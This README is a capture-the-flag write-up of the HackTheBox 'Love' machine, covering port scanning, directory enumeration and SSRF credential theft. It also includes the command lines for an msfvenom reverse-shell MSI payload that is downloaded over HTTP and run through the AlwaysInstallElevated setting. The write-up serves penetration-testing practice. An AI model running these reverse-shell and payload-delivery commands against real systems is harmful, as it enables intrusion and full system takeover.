Skip to content

Latest commit

 

History

History
143 lines (72 loc) · 2.61 KB

README.md

File metadata and controls

143 lines (72 loc) · 2.61 KB
nmap -p- --min-rate 10000  10.10.10.239 -Pn  

Alt text

As I know open ports, let's do greater scan for these ports.

nmap -A -sC -sV -p80,135,139,443,445,3306,5000 10.10.10.239 -Pn 

Alt text

From port (443), https, we can see 'staging.love.htb'

Let's add this ip address into '/etc/hosts' file.

Alt text

Let's do directory enumeration for 'staging.love.htb'

gobuster dir -u http://staging.love.htb/ -w /usr/share/seclists/Discovery/Web-Content/raft-small-words-lowercase.txt -t 40 -x php

Alt text

Let's browse the page.

Alt text

Let's check functionality of this page.

Alt text

Alt text

We can add localhost also to this page, I add port 5000 as because from nmap result I see that on port 5000 is HTTP service running.

Alt text

Alt text

I grab admin credentials of 'VoteAdmin' service which is running for port 80.

admin: @LoveIsInTheAir!!!!

I also did directory enumeration for 'love.htb'

gobuster dir -u http://love.htb/ -w /usr/share/seclists/Discovery/Web-Content/raft-small-words-lowercase.txt -t 40

Alt text

Now we can see '/admin' page with credentials which I took before.

Alt text

Let's search publicly known RCE for 'VotingSystem'.

Alt text

Alt text

I changed source code of exploit.

Alt text

I got reverse shell.

Alt text

user.txt

Alt text

For enumeration of Windows machine, I just check 'AlwaysInstallElevated' section via below command.

reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated

Alt text

While this option is set true (value=1)

Let's generate .msi file via msfvenom tool.

msfvenom -p windows -a x64 -p windows/x64/shell_reverse_tcp LHOST=10.10.14.9 LPORT=1338 -f msi -o dr4ks.msi

Alt text

Let's open HTTP server and upload malicious reverse shell file into machine.

python3 -m http.server --bind 10.10.14.9 8080

Alt text

powershell wget http://10.10.14.9:8080/dr4ks.msi -outfile dr4ks.msi

Alt text

Now, execute this maliciois .msi file.

msiexec /quiet /qn /i dr4ks.msi

I got administrative shell.

Alt text

root.txt

Alt text